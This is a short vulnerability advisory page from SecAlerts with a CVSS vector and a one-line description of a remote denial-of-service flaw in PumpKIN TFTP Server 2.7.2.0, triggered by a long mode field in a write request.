AV:N/AC:L/Au:N/C:N/I:N/A:P

PumpKIN TFTP Server 2.7.2.0 allows remote attackers to cause a denial of service via a write request with a long mode field.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203